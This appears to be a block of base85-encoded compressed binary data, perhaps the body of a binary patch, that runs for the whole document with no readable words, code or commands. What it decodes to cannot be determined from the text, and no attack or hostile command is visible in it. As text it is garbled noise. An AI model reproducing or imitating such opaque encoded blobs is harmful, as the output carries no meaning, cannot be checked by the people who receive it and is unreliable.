z_a#O!+CWho7dp{}E_Y~)3!U!JCKtE5L+u?J>PkA-p_wl95tnimmtKFI@o9_CaA=5& z@rmQk;-znuE1IYyB0yCfYU|J-hYlr}T#GxSWej1RaNdQR&<>j35{K%2X=Ul}&_EYj z>>ms5bcO1dn~k?le^cU*BzP{u(DK$GW6D07WcT1oZOYC$g5EshrV(C zoHW#2>sHmp?d8z#u0{{I^cK6)pK_?G3;o5Fs`_76sxK}YdeDWwe#yAA4z>B)xc3}t z=t2*nx3r|W|1r6kvxbH`uF4tX#yZr&p@mMaj6*-W&=n4S=|W4mHn`i>h#Y#w)o7b5 zX$4pMkV9WP^pKNV@8Tvp?yyUFu|p-It>#S~%GzhOZ0FDj7o&=6@l7~;(pJ0Z&9uIbZFFc3 z<|VHr0eTHzL@GMzLf^&gQSMgg97WY#=m8h^6BoCe3w^@HjdOADa&1)xeoSqlYaDkR z-WlbZ!XK--&Bk2dRjq>j>cVhAEpYp8Huhx|Wl3= z@MaFp*{baqq{%B_MM}-P;GF$cpdjV-z>6%xwM@5>c=Ndc&5_VWA7SM{Zn&iaTY!5Z zNW*Yjgi95~ODp!P5dLpLSg8VZxnG6&#Pzwq)*i-b0jHcBDgyh3t?S%S+XvKo%?(BO zG1Ppup;8VdtW_?Xu34@%&karKYc_f}w60p~!yL-QdZgSk_`|eD<-aj5+G_*6bavWu zEB3ph6xxIHE%q9u&<`HU4K>{pwK56&Cl$qqa|O;JpHX zIGAtSB)yC0Z~_gVRt~)Zf7|E6-Qn5Ucv~(PFLi;-q3aNOSkMelE{6)RYv33;G|0)Z z*Zn8q-T~6MLlNUoaF}nNj?mw-`Wsv=YL8T+@8MMV?Kbum=q*e|>z5ig(V^cnjqBi{ zB66#f-*nFnb=a$~yXS^Z<8C8!?LvQ))l-Tfy;eu#2B|o5pMcyn-vlYa1MP5gO3=$d zTKaV;pQ3Nt8uIHFhgz0K4D49?;GP>~v#DG$_zql+YD(yA_z(E~aePUQRJb*Ax5t-(acU@Z}o0^7$y>l`lumL$qhOo$E>Y zdbhEZ*_W+-`MyKbFfKIT_gWchhEU}`cI~p*Ve7G+ zKPK^uQLrs|{ZMVj9?~4Ta+-~y1c!L;w~{=HKnJxIRQ5WPtK=b^gC*Lk7KL4^u1qJB z73GjWUVM#dx=Ggs*686{YMs-6zHai@3cr@Uyt$yQ=HHOaM|ydoCGfr}+Tc+AZpOW^ zANQ6-ZlpuA9O~&I%-?zX9vRL8yi&nS;t+o?#J`(?bps=e)60?XeYy$a_Uj{vJ?xJP zD&c0&0=EuYZ{^TOF7zMhe;rLfIJssRFS;6xfTkWS>G^S&VXWzB+Tmh+=(tHPN z-o+^6=5&DzJ?k`jeJ>T&gcBoLh&3T|d7+YH4Dom1%AJ57Qnb&Zw7ZNu*2++lqxPaVGl`2h@f5$?JY1aZ;_$S4h?$ExKAH7)Y^seD^Qx= z)967(7jPd$5&zaIBfOjE?OpH{m}k}F*L^T{=OHvl-lf+TFPm$leYj^x z(<_=}TE5Ofvn>DJLgD?v?=>%xn)55oiumPbMf^&$qB$ikbdx8CcVl4Xa%c|u>&Kg} zd}BO>+jy0+CZn`DRLj+)6lSgJ$$K#`Rd@QKKF6ARg|wBuvxv6yw0v&p2Uq~SHwaSO zhip}Q2q|lyFKni#E#dX$wVUmG{XGXo{M!wR`1c$X?b>9hIKB^1?#i!C?m3)8DA#j~ zq5N7F+8&mShSr6Bpy(Fdol$fbX1t;+TIyaSFLV{Olydw&x}tX28z^GiLeY4fwkYbc z*ErT(%!SvIZ#1rvUTso6;Gwrl8ONtz8p?NF6!H0yq7G**#=6%HWx%4)(6g|r7~z{A zx7L1CLEAnrl!P-8-s@)5`VF|n1-TT;d((Dp{4SXGmi1+j{y^*U@1f-o-?WQH416z% zdl@=5{(L8zwh71IwtOy#e@{tQAwJ*Ik;A1|?!6R44eJ=*XO3?` zMd0?owf^MN5!~c2QKxh5D$L zD}m41-XMo&x=??I!TSnLuc-^=eT8!TEkrA6gQ>23XC30!;5%rMzMH!xMn1-5H$i@> z{Id8q7vG=KRwKmFdDHm61csT`%|= z-S3Yc-s&8nhTfW-Be!@5ODfi@IW)kf;*SWQ^V`Z+d+dXH*y=av7rp5On*knX_CevL zkTsYeNE2WE_S0QaUTE0`Mey`oG-UoxytM|OG+P-#GT&wn9YwEdek zjr)*8r~k4%esPF>4=TsL5k>49QN(@_MFH3#iiSGW%^~)PXefVcu82J+ir6=zhJH59l<@p za?$iLS|~SE*PXj8Uv6hHGr;ldCb^;39tzODb9!qMcb&amM>w*bNHp;muLq^=iyVof zc5#{3qCa`cWQBgrH<`KmT zdf-XpP9pT)J6Ue^LZT!I{pdZDdj+Xz++9nF(j{~cxT}D0-t!iIL0nMX8}Ln+p#5*- z9S5WrKFfI5(H>l0s8YRvhjMX4NV(-tX((>IdADbS)B`s;)ZbZs3GQMdZ*j z#Ss6BFz*-iSA-SCdbh!2D2V>xxG~hLA#V0_S?G<0cxhcwuH!~Kj(-W0zblHND?W&# z9L^)`tq3mtP2loE*Dr|n&>XDY$~A#yuBfI%BVlDQ7en3Qoz{H$_lXr62;`KDq2%NitxPF2Jn5%~tG3ih1*7K66INN|}H zQyf;`WkRP(=$o;4D+dVg7EQGob!M==7;|K+&V9U93@dH1$i-v#&R+?|&>*xGBiMe3 zyBwi-3)4gRih87-*VcYbk(TO%%j8zQCdcJGlCR_w<4>RU@(sJq$Cls*#LWxwoAZjs zo;1Y2q^BJJex4%!O+7{YOL~g=zoe&#e@Raf|B{{}{v|y{{7ZU@ z_?Pq)4f)m3C)jf;w|Y*rhk6_{t~G8sa%g0We+W+7pf`HZZ-X59O7c^L2I&w^Q296D zwI$DAMd;tzNkqqhV&tuHJzX!{m+Vu({YkGcaVPb0qGd8?DtibiK5tyMhwz>U?(>%| z%_+C{5Ugwi%8Fi9wDV0{NyffqsBj5JN0eaM^#QL04LpP|8Q?v-Sc-Ey?4baa z7-eHNh?aLSQ&>*swdh?eva)~i>e=~Jn1OAq180q>4O42|)S-{O%y6Pd^5(z{%~ z8@*ACS5Uke5Sj8RX-U6lxLuN@#kpM={V#1$1N!NI>EE@|2Hd}l@U^1r%fDX5iX*A4 za((&K|Di8+gjtz&#OnJm(`Kr73%`u(A$$cl-MF(Jg3aJ*h8X(nF`^Y$bDy6;|1yef zAznZHx@m4-$V}-0ZNW(UjpcM!>;soc_m;!86G4maAvz(b57Iv^s8$6-O)3&y0vDOD zrd+s|{6%vNalVW&k9sSLp~@c8`H^rhhw}VTbh-J_W&wGnpZ%_(!XvwI33L>fK*}-1 zqnHuCX~FzZE0X6&P`IP$L5_=Gz?rZ9MEr^azRRDC{?!&bat-SZZjGHlku?us#niIlcdr+~sDOYALQSBiz?18b#SiC5FEC z5WE@~#T`-R$bA3*r}q|mkW+z1+VlU>_9k#P*6;uSbuZ^Mw(LU^CN+d)D}*8vQI>33 zO14xgNtQ}x&{(ofG?gXUib#k^DzYS6D3zo_l8QD&A-~tPyw811eZQa2@4uYKqvrCw zulK(1u9v~*%SMO~cvV%ujw`Oc2aVmzNQG3IQvs*bMJjk3Q9WhojVN2zgQ%sjEt&8= zBsJSh^( zJ!7Xi;#3c8yy&_2%QWua5qG)Xco&kgkA>~1OZ2%&mmuZ2R~k>8_)3<>PSvwAxpSi4 z;&ElbDpA4G zIPp7O^@XJzbiG{X`#7Dz3B0DcOhooM*RZ06)}S@?Fh0B&FD8kJb8YD?%$bN&WQ+3) zPVL``V2B>~BGtajVe=e`zxF7}{8pK|(F=O%Nw>ZIo#oo7sPFw+1ETxHzR|FGh)C`o zu{iP95s9xXO6ZnWB&8yi zwqLF(m`Wvz5`89mTQRy&iG6wq47vR!7jk|vozKU|DQ6gNLXiC8aw6`!#;EArl8hUq z8|drBaT=JATsV?zhWVWXIw`I-MLA-dr03x~4H%M)aO2=1g?z@SjYS7ZVScaIt$n`chg_{^>^UaBzDW)n?kK$=$}g zoD(Om*EA1tD0QrHZhG+9*T_DNmx}P8){g2cwuL1vZLd^ZR_FPrv34+sZ_(%pp4WYwmoNyN2WUNcD#MGmpA9nQc-3agJc=e{L_Q z!Ka#TnqN4Va2tyIHfOv1^1tN`+(q+0_&~!E<;f_nq88h|o*k#W7DFC=gc_Jr8s`&{ zceO5NU#U;e^^4vq7S*x!$GO<3Z4&CzM9TCtNz06;5&Ms&e~+Oh$k|#Wy$ZkRcN>WOZV>eUG-G~*q2J|gCb({8@TV4->(g%6}kuvwRKIfja#q=B6Yn3eI${#WDwmUK5+X+a+igH_!`xTxGT1o>znN~3HKO&>ezKA zVGa*DOy{$?z8VT!(&;_4jr^7*?se&*ciN@X-&kejH?y_W@>i{QpFvLxujRJX-eFpz zkDl9qW6trPn&tka*3T30Rpa1ENU8Kw%*8>OHZBhK4@r&#ewj2*-C={yfV)0noF?{m zYYSHOOrFx(nrl{iijE ze%XV$rk37-j&-XoE*~tet+yt|>C^-6EfQV_Ya%xDxJUiR;~w^(`k=Xd<#tBD zcB+~D_2&Qe>n-w?O{m#6b&}0?`d`g<%k{N(K4fAr_0_}jwN8C!GtW^(ejYAgdG>OY zNIR||$`+{wRu5)Cic_7{cv}{d+P6%;@=Wh*^0m!JXz7qUwMOT=vs7<`=(!Ln+aip6 zEgwKqwp$pd+cybzSQz_CV}s)~^7C)pWy_Vz-1Q6J z%@@_X8V+T1(Kl1++?x7-Ho^0!f53k@MTlCS&{9VC=|?q#hCGI^sk9IAoL8g|Z`Jaa ze0SjXa+saQ*K{h0`Ju9q)a+$qf@7_!NSxbM;#Kat!Z?PSi1a~-GqaH56t#3u*Tb3x zQY)SKMLXWn7pMH&^uGEy^+BrY3`Pm0epfMjK5h!;kfY3O)wVH>x*>KS#Mkol#oNgx zd6>BST4juXMdA_K1eM@Z^NT{^s5^fWU%B~HO_}*(!o92+ zC-rhzsUzLiEF${!4h^Xbk>{5)@*y6c5;e`vEv;Uc{UH%`wd)^Um^R(USF+N}hyZR^uEF%hi}b33zL*e{zf`z8{% zOv+OC!Chf4-{YoR>@d*OVzb}K*T^rC9`BvzmLyIebk#eE9d4hRP(#~0DBFr#YSD1u!Y+h zzGE7%mTl2mAWrW$a&h{$N$S%8ePi7lkOE2FEh5rKW3!I@!g;3d0-S%8Ya@|L#%RF5wnGno48F@`>qnk?Q}hnxR!4w67R<7EK;k^M7>3N zs<)fXd$tqWePP^!jer!VH~+%yph!^*%lT!tut*x6X6Y+C4D{>nMXu$H%IXyl;Vwc6 z+tPMe*%Mn_Uc>E$58@0ySn>-;Y1itFsaW^>&aK2vG%1aSV%HVlt(jaq^8ObdJEzm* zkd}%Y#~*a=9(p`E?%%}MRN|WO9g(<|)HwL7s;*L?{!8q};5+T!7yCHmJ4AXHvmfkQ zocz-0g9sZ`9J3QLX1XFvV^>pOO+@xZCI%*I*54AjX*#6O#J<@(TwUy5zKhG-s9(xg z-ecryZP!GvCsxR`X&d%I4-qk(_G1Kvle9iI#+AC(ibbZ#OT_6Qv3)|cwV=>C0 zN@=s5w5+@PI;a75Ad23BxsG*Be7$6tGf^pF_Kn0>GB-5G9)vBabbA#yBX@oqtfHX3 z#15+kdM{_3DqxjNbIz_Lfc4atpTrj4i^DZTa!vEaP~5VqA;OBHN-e87>F6Mp z)RyC7%lA{Y$AcQZj()|AgY_d&F0I~B6Mu;b?hT(6>GUwXJJQF6NZHff9pl|Vm&jLc ziEE0)`A?-M77#TSc51OoajLl&w>3)oa$l5J;p6nfm-@z>e(eMkaVr0$tA}c#Zt5$n zeFfZ|CDO)ID79h>=iLFq8ey-qw(%Vj60b82mal)#cjFlkKHwWH;Euk8Y_ceA@1 z2O}V*64xc8MH>02lWJh!1JB5%(%l%J>wdF}^BoHoIYu3viG8S>)Rua^oU|tHOq`zX zqy|{YRJ|eSBeA5V>{*fAO?z?Lg}(fA!rWc*aVmvgi?)rCo_kX{*_L4_mui+b#-&3Jncy*^Ekx1PbR)M86i3*0&z_frcSlqj`7y?|97 zVSG>9T9G1~c?Ej2Fn(W6{Sx`KDoP6Pv(~V{(pYKh$R%Mv0k+{`R*En{+6k8&_ zG7Fq7>_6>y@_V29A~e7AsQ%lYkoH~YY>vXg{lDCC&;&N`71!84eIIf8n`lWS)^0`Y zYO4NS&b4anzwg8Zzd5P)MLyv7C6&!f^!1{U-}ScM?;WRdnAg)>=iZl$Qxv=14)_+6 zQT#<;qr5h!jPq5b7o|evZtMBlON&!U%w?$mSno#(2m4A{BprL)^_GgG2d^>yZ}At! z?tklAWOKAL^PUwhyb+6HD6;t|;#6~c6v`-GqFfh!jY2+VgiA{<-5OrEyCXTbNA^W= z8u=i~laU)yd5e7iZ!9W}kq@Hs_RK`*zi6Bi`Ps#@*0Cp%ZrbzZ-4m(AEsjdu;%FT^ zr-GAsUyIhZ_Y6<&A*%^q!(|h3>by9hGm<0zDXF{uo$MO-v$e;~ZKKWranF)hc~Xgc zmgk8cw`xU1;@03Iky?&KZ%iZ}l~)&Oe^0d~xqmehS5DvYB5`_XTCN^}HcA+$ z46kX%$(cnP@QmIFuC^>vTQEbg6q3%H@tYvp=Di_obE5b9F6uQ6hik3WmUUta?~2{T zCX)J&k0A~|2J4Vf1+9=u@r91@OK{3+;LH?Dx>BRk%jOzhG{!zCjWxFAbLd?~Y>P@f z=e7q-cYtZ0R>$K}gzjI|(U`np@v7O=5`MNTqW}PiMsJ+vs^{9_M)G zF;nh5DzbaJ@;mP3=dl*5llirbjiH)x8>5ige%+ykI2~_o-Fl7-}etL&PIZJqyr6 z81L3pJ#FLIaXi^bifvl-pC6WtH9 z9Wp+A&q{q#*zqe=9WrKr zihV#LOVs$#fcn*L`?g zkxoAk&=^Xm`LAi2M(MUPs3Ce){K9p~YLNzF^_AQyq0| z5oz8nSYZ>1cjaij%)v-RrPkRlHa;#(v|IFetnr;lTW9LJf!2h-gT-mhLVfoEJ@^hj zoeQql)<2 zA>;d&zDZpFDZAtzWpSF37T8SDb0{BLV{+|yIm~K(psCNb0M9|GUuwu#j&Wu>*Q}DO zMRhK%w&?N9F@H^`n=m`WAy2308oRW7%zU6WHxv^*!sWU+m0BP@qFVWS`O5QBy6(dL zmm7ug-UVfI&}&iYDfC*}$=4r{GRnAaQiNz*ksOlEHmIyr!??6a8Z=vzW{h^`4Zn%?Z ztVkSxQ$-p)8M_EYYCgkBoQq!vi&I7HB-h>VlW^Z=(S)Bj$XBi%Rd3~oZp^;oO1yU| zU!yh1|2NWsL0C-}`^JCZ##^g1O%8GYqlQYYnW#M~=X(V3rQKmYS0s`s^SN|kXM48I z_iR0{Git)Zo!PYuFaxAx#4b47tde`(BDp`rw-Z%@YkI0oCB9WfrH$2{)D<_1C>w1o z*%m%ieTCT4piW>?d8C`N$I)V|)b%UX(-K+>CUoqgePurLSXUUA%O)am-=~#GThR7& z7OCqUIJYPg*VzL_;+~A|80?JxmFjW(s}j#&4HrG`cdEo~?Ra6l`%|S1w6**d?>=}g zc6l~{$0Rsg`Zn&rlCROYwk`U_&k4H<{U%M1)7bgV?|JE}%v|}p59ek%6>|4f7vO8u zQ^l*U3D>?hN%tYYDz zrEa%7sbx8|>|*n06YwrxYxcc+YfJO)4*AMq(@`M5qpkCkQCzYAR4-3L@9E~Q9gMz~ z-{@vA=KA^;Sb6G+xm>=TqdZOg(WlSg8g4wW7dbRUdnH7ig5Qbs;1xu_i*#NOl~nJH zFwR3!`{v)nv2jB?jD$t{3H_^LA{AH))HsW{KP3 z{3gk8X|h`#jbeb%`lABP`?b5uLmY#ce+UItEnQfUsQ_BMkU3$mb(PZ zhS}s2&SwTjjZ#WG#J@iEGW&fQ#xzPF}%1N6;Siiy{dn^anc{=G^?(2rOrU!TXw zYo|zeU@lz0cCX-a$p_tBE}0M4)aHd)*;5~!MW0Kh6!<`;S1~7ZNbI|91aiAbf6l|6 zZIQO3u2a1t@Rinj_m*<3C`z|}EstERUvILyE){3b9XlL%dN;LkEC(Uinza-1ecpZ? ze+N;*v`*}fT2JR=IX$%2i=-bWxEVB_moFh^qp!?L{|ieK_Rvaw?K)0tFAZ#UXeKUO{Nb5EAb2P8Qvol)DS00D{bT0p$ zei17O2z{Km$D<+Nz1Xe%M84v%RnBFWS81yWN+Z8VmwXbKcW*!RFRpRyCf5hN#-hIOZxVJHxASQ@%wo4@ zLW*4D(-LF(YtpD~2iorGU>!1kzt%}NU`A6}P3*i-iRZppN~M!9@jN7LQ(hL<0%dTy zNE1-X)gEBrO|I_{oWTnw=YdsMt2C~vsL><;u`&Dk+`N-=@P`6 zj(alkRi*j2yY_cH+DqQ$9jE=Be0h&FPHf+wV#~jknV%6NZBzch?3U)H9kyF8PCTEe zyHs2_a_0m8-g8qXTJao+kr&4S&W`u8VSB5=>L(B1k%0rt_@ai&QD~5$!u_IlowJ zaqSUqGQPy83Sby};EqAA&Cpva6HpZ}tibQlwbX!qudV%(>SnJ;Y#dpsxR!=Qyw)E>BZC77cJ6INSa0!krP=;r5RQI zq@GL*=;<6lYms=hKxgf_H{3&P;S}T-5aZOq!V#xpSXWcm&b+DnzK~y#BkmUy+*5c| zq;qGJGsO*_0ndWuQ8lC%$5lGDTCVHP>D0rdG}-CNFGHqLgMk{3=)KRVoz`^APT0(S zq*UU$bzPC*)3Q1Es(Q0Tk9QW%6Ny(Tw5PQ{u}TrGO>l4I73jsO?OXavAbKt6bLozc zlJ~iGYb@&GHKMmNv3|L&q4v?QqMxVZePevZyb9)qIo%)~S1FA;Bd#{$E5iGPlP*Kw zg74@~Bexz3J>00tH}|Dc%Y@{madxae6Aj9x|qJ@E*SET*ikYJ&l%F zrGXhvx(|-@lHzlNM|e5jiX}o5cD@rigfrfCvi_JK{ZmDE=tNwwv#xN)VmnT9>7c`YB-$r*hsYbT4u4b9u-13(r69XcVKC> zIwA4b;`oYP9QZ$%Ze3$3g@54<%V%AgVZE|q3)_5gLmm~qHq)odiPX9TUsH)k$Cru3 zC+2F1#3$zJi8S&_jG{$)ekRdPB5jyU)Ip?nFX6T3WP-@l0DvX}gjoH(k3Es8VPh8`@TWXej-0J6I=mV>}Cz1NmNK`Rf*?|9}-(yXFF*g=Ie$F`x!lMm0m%Qd#tdRUUt&jr9@MNby@BtOuf=fVGrEw zq+cH*dQsS06P&cFlJfzNnAI<3QS#I;kHXI?6+#TD4~`(7ReB8ZtbRF~@Jm_bXZ6cl z3BL?U_~p%nU+NEXKFB-KNqib#eK4kvlNOG2J{b0tlP1k_KDY@z3iV6HMb0lnmpEyD z!Y@T%b-vn>@JlLM7mcB(5`O8K@C(nJs9$(CMWxATbu~5?Vl1T6BZ)NHlt`njL>gr# z;$=!AjcO#~#Y_05X(C=WCDLe0B8_;2ras`hM5ShlG~!xC{ZcoPMyc~$yu6r5qtc0Z zX_knW?-PDOqFQVmO8Di@M7&&?h!;K&p*~oSG+HIO=@X>UdXZj48f_DaPfMuY4~Re2 zdmZtodLJYHRBwH{)0>96Q}xat?(_~n>GXb1!&;2k%(E5WsJp{(x=iAIQfEm38W zuhhf~S2?|@y`0{J5l(L{Vomj~MY&|Zq*GQsJw2aJwe#W(k+3K6VyjBC>*H1xu<|ss zrjA$3(`fWs_&r>0O>0SrxIU;W(rM%-ok@5Paj#NJdz>SXuSZZn_Y~=7r6+08XBvMP{oVBWl{PKxNX#7lX9%=^F%Tw5~6BS)cJn3@R5_7w{N7~hB zCX2`72Vh^EBK8ORQhcj_oFeH*^bEDPSs~N4-Pdi_IkI%xyVR#sV&bKrU9Wi(T2AiM z;Eohy8dtIYoX0U3vl|n**Q|G%R7J&`SHAMdp}0s7BIJClg|@J|gPmJg{mLs{D)CBJ zS(u2^HDlcDuj?)8s6%J&{*4vHj%4lWM`k%*Dv5omX}F_X!ojQ-Snkmn&lo0;lcQOU zhKc?Q$36SNqiZmhWY=^)>>9C;N8mS$l!F$clSq6fvzthV(N^3EN#pMUNIJ?I1Sy^P z-gx$3^k#NCJ%T;&x`&z9A#@J`71bAcv0gjc#n9{mF60$Asfl#D)n*OS=>mLxQbL|~ z)Tc3UEiLhuZk(R@IJrMLQGC_1oXd5Wq73R>RWFo5mAEdR0zK@zLH~+hFUE_|FY8Sg z=zW=l)WYryvBv{YH%<-L@wO6XE z58K4Gi1EIR+>H0VDm%Eu?b9m!ib@)`?Gg?i1%3)i*?wU>8q-n7=a)K(`{O){#=J7( z>3i`3`}uIf>~CV0_e;tAc+xygxmyGJ17AC2Z2lZ~TZzOkI;q5OPpQQ3QK`iDFssD( zFssD3G^@mSE~~WvO~*!H-Qigri zcsZqEtFCdCJZr!&C-57L9Wr>AfJ%cg_n;ELCZiI+Fr!kz3!I5FJDtS$Q}fqko98w` z#r6Q(Jm83L(nm|ta}xH_dURVLssCb-usiEE)OsTETE0r0cU9ukdn$Fk!$~|!C@vqLrT?Ovpjp02(Mb>b%Z+UKZ8E5(1?kt6s{r#MY`&!>;% zE3d$)-ZhxD`a)QG237@;H*&WXU*l_XTM@a-??5~!Zg2@@UtvZFZN;}Dox7{^|IQYk zg*_y;@O=uui^MI?X-Js$Lka!u)_?j`--wLnninD$Yb!Y~A+b+YZ_^3X=xE>Kw9X{# zKp#c+zUlNFq(Z6xh;E%8h#f5voj`P#u{Z%*##!)4UYeJHg`sx{{L-)@0I*F zH%6j9j#6L4yG-JR)9Bys6=D;~dgo_|aP7^lNnzl;xH z=?2U|s>FSoykL=8E$2nRQi*35N{ESeD|8k%(u*W@gJ_VQ@P8+x$BJ@$|-1x z(MLl6Me|x+lRWw?k((-5$knG8i%*~Kj{8u=r^l{D9fSOglRmxCGiuFJ_F;XOC-PM! zrBc<$aO*qv(y4tl#6IpdYrj3r@1#ZO-`AF}9iPGqv`B?3yK{lFQPX@cJMy?x=xQ#n z73u06ueqoc&C5r6(Fzuy_q$cXk^h(EwJf!7^$6E9iq`!i`^GeNC3M;gdQY^5Xi-&8 z%iAu-Y%QeRsqnp&eOJyk6`EebvBof*vW-d7#x^6IEa^ksl)4%2M{~P<# zDHUxp`zoE%(Q5FVFLs?_-ubPf?yZ(3`jCU3$@0oDxGuER`xVv3k3; zBe8SpfyC}7C#j#m60ABRj6YJUyo25K zknqZ+kuMH-^vMNGx+^JpWR6dLCC?5KvY9e|M4uo1LbTgP3ZmAi2%V5l8@YHbQU$ed zNOz|ZepxA_GdyuCMgxq@!AOPOiqXSL5^lw4vXIEF^XMxh&aD(GhBAryYI1I+&Y=>D-SI&dtA8k(QzZrt^8D_{JC!Br)fg6QpUDGJm6yi znqwprvm5MI0eVSE!mR?d&g^k+6{G@4Z4QNVs}MCY;=)ykmJ7)edpu|trZxW{?Byw#tCO;$*)j63&Vq)`om$HA7-71|#MqNEvz{iR=a`OPNMETr~^vEjyEpaJcqE=VE%^Nag!5 z+7$AIk*27>+0-TUy%87oOX)8m8q%L(DxJ>5c$7oh>M0F7<|2%^u%}a+5Doj^Vya^j zNx`aT1sa<~;5b#JRY{}>bS|Usl1NFAN>sEWyPhd|wG2pQsw5;U#SEU9YDq{4eWP*__>|9jxjFDN0 zXC*6)3`)3O5o1WMwZ4PvoWrY9FC!sbpH-5{P9ry3U00RrS5i|Y;5w&iRl3E0`u2c6Hj5C$3W^+og^{}qyhCzB9lO_p^PN*6v(x-IEg$D(vUt#A}@e6qMwt< z%OKZLA@oX}>nlJSQ~e~e7NiOFGtv$7E$@L`PqU27HF5(jQbLDwJmMH@PAh~&t<{Zm z%!sSiTTt7o?0R;|qi9dp&BGi!-6bTde_GJsB(eiGx1iBUWH-o7^qi8E6%Bkk0MeRX z5R#d)9^?lhub2*(xL-ip&??g@1ae%+Iw9Fq_iD_LfwZMxR7Xl~@DN6%6kx267?Y6Z z1!+g+k_d;rJ@plmNmrwe;ugOH^*6E&{pcbv)q%=XV|y}b6nbq+>KM5dB~Hm?Bh}I{ zb`?|a8@UB@w5-#Swxid<_T2Zn_AWY7A%%rO@d_e;VO*XaC$v`OzPBZ6(Lpt#qN1MCx>= z@=B=xPW4Y`s+L5mz*J}IZe;(vxZ4VT?m`=l6vkW|xA<@pD|ewc-G!>v7T1YM zA&6b6tB_2(up@5A0qI6djcmov4JC(-e4ikV>##jh&g@2Ah2*5Xhch_U;lpm!S9R#q z1etven;MzulXRo^g=Ep)*xPlLm|Al!>txZmCfH2?sXKjOWGhk!Lle4#_8A!rQ%ri& zNh8x=MtuN#dQ<;~_yBw6gER)YlMV~Xq`jDtyAkAWYS@T%GU-{k#ck!ibPE$t%U37p z+(!?nj`%r-kNxRkAvq}@J%QJbpz{EYFfyQcM0_rGTjK@B*bI@y)34( zQvRB!J>dswvyns4Sq--yq@7|ai%#LDsa8M_(h1Rt>WzVvdL2~hpvV2gyI}J}lrALd z9}c3bLbO(A*9TD@({VkiX8A7LoWTpIq(#_!-N}k z%b@v5I_&2RdO3-(>lw7xOqIrtI*y-A+L)v>6=Bb$LrG*h$O!VAKoxQ5-w0FZqg+v5 zCA1CYVh(ghQkf*O5M&fxZsaTIECqR-8YYodAX(Jf$TFnPTOgxpv67T$aJwUiYYZI_ zl0ySqV2lQxF;wMx_K%VeLB`PxA=y+M{oc<(CeTLHiDL$LFUUknX{x4}{0K6c8lpBs z-9pn}3+O0FHa#sQE9EE5>9FflXr7U_y&PF)WY`z3ju8)Kp1g zq&bsX3&|961?-tg^_#2ByZfLI1@at?H_{gNFquWWTCh&k;y+KlZjML;=sb^mdWBHU zzft>v%%*a;DEaLSdMF@s=(hGkQfkJuPdkVD7-vAfw0bE+GpfjlrMJc zW#T5Qrybm8k)t4N&swT( z%2n+JL3<+ejC=SIqVy# zgpmh9SZ4#(GIHWo_47umZzSIe_0LAS)ksToYZKjJjuEwtUp91zyoLPv~TyFqo{qvJ+8g0RkeRHO_3 zAnXtSq2by}rHo7lVV$j1+eq&vs3)yidK1c-Y0wI`31a(+O1P z0~%|jaHu*T&khBNahdX9rzv^wD_2AH`3U2KA}5}^Z{Xe zKA}-Y+Q1a2`%W5fq@UTdlNK6TS5S36rDaBrfUrHE(uYR6U7~*e47YaT141zlgmpfn zqeeDadVNl(jC^J3^*NR7rlyLPRC{(&IU|)p*q&X~z{ov6sLmI1ZjId<0m3?8;MG&L zXWDJ5vzzWVvI>NCcGGAh`LO!WVgHgQ8MzpQb-tvhT+ z^%Z?#qyq@+d_{j4`OwPg*YvlMuRvJmYq}6SF*p?d8MWsdDsQ9=22 zGxCm=i@ns_Nd4Eg9ij2o6oTB$uh(Kkkd)@sjBblOPacQu|5Q`j92AnfHp*sa5qW@MSwQAg-9Bbz~3 z=Lj`5a{KRU&(CzTk%1tr^E2IJxI_c`?U+EbmEkIc3 zS6XT03DfzF-ZZk%bbh1VM(S2ldw!?=Mp}WeJ-^dgBUk^W{y9qL-GL8q{U#9BIZBrp z*>I)m9HS~mJ_BK$W7OP8z2(|o9H%x$T7j_6ak|e)Pt*B>1{ujPoj+)bkyI&W}zcVz{$Pf_L zIYT){df%++^*23dWDE%F{7r8dX=3^CENw8-!}8%-+G}J`O-&2(4jCB>!uF6C>&btz zQd)0QKYLyQBfUXb$MY%~$zGxU@x2;G=76w{@3k`0v54vfUPmKCKv*a61{!(lPjxHw z9yPKWgmpsiStHBZt35Gqwvl&0SSRMaWn>ykE~iD@+ic_&E6Z{3TO(VJt6S%JKNW-{)t(fukP*Lzx|QNxZlt=k1$n$HjdZlOAdlD9$k{K{t-M}mBb9fn zTY0^~Mt*x$(;}ZY+(^m_O^bZq3?r|7syg|-c}BK^u%GjL>y6y`H)aAcIxfHyh7yXA zAgzT|6ml@nm+xUd8037fyOCdv6!iEeL7al~;#h*=`JY1G3blt8K8Tq>m@4f3tR%%l zPo|fUKaBi|9d%0nHgfe*obMH#cptVIISS;bMr=<(BVT{(i_Jy65=N%<_US>GD&mzj z@-oO!Ar*}bNx^$tAVs}uMh4%EQ+q<{2+2&@h`IS`LRy%P4>Dg!CnYlDu}H{LHAOc= zXE{hQukW4g=S=d-V#E(p+#4c9=Puq7vPZ~focY78@gOC=Vt1*j_piWhd>|Ki9~zn0 z-KSkb_8Qq<6{okMUdns_ZZ$Qpo=^LrQ_8E-Psy43xWNzPLhn%_o9V^!9vu?0%SgW8 zm0aZAcORSDOmAGObLM5eVMdm=(An>@-Z&$x669$kugT6n?1T5V7}<>(@?YUrS?~S( z)#ggrU3(HF&AXz%l2!9POr_#pR_$r( z^-CgbPcv_-ktz!Vnh0{Ex6Vk9#U4Ec(!x7zu8U@0%`B%f0#{8Atpb9 zbn?mx$rf?~q>H!o5!T73Tc8sTL1?{-!-AWqQwgNEHztW( z1#+jCGCb0`4&*LxhLLqoXnNh_9W&Cr2f_`Vd%cPoYH9#TCy@KSmPv%u^a1a_B*JO& zpqG(Edcf2}-W(&RKEP=Wkip&xBLhnXLWX+Bk_g-Uh*v$6@XH}K)eokId5w|?+dSNB zokRwKWP06`2-`E#yFZDr4kSk#g|>q{3o_mt zWjc*;_vs5Dlf3>T)zq*TunPqw+q-0xl9PLIUIJvQ*VRaV%%Ob*@|1VT$kQiqTM$T& zH|lXU#UcG33*H6e4 znvJm@&xb$fu?A|<0&U*V+3#5iG7h8=z9mS^)vJgU`E8E5dNm?{PscuEtXG~(*q+%5 zQM? zU+3i=&CW+_0dIR(DM=|%%%{e%`E9R@kZ6b7+g@KG2R#?_Z+krdS*I zw)chUxU_iNJC#H@E!KG#k755D^juo3_gWfpX|dj$ltef!Hh9k@5l)LO-s~j8X|c_F z$%spf54~4~?DM{`wAkUTH1epW#ZGUP5RISauxF>YLv`|0wVe5>_qCBbEoXk}9ad9R z2m1jyfj{$_jMZ?t82ilYZ^WhhXWk4WE^mD1?KI+I^$T7CllXCQ_=Q(1iEte5_Iev} zarmV-)rbrGm)=ezE>^$xQl3zonQ*M`^*SXHj@9qHXOalV>LKrQAyNGN>Zn&+ 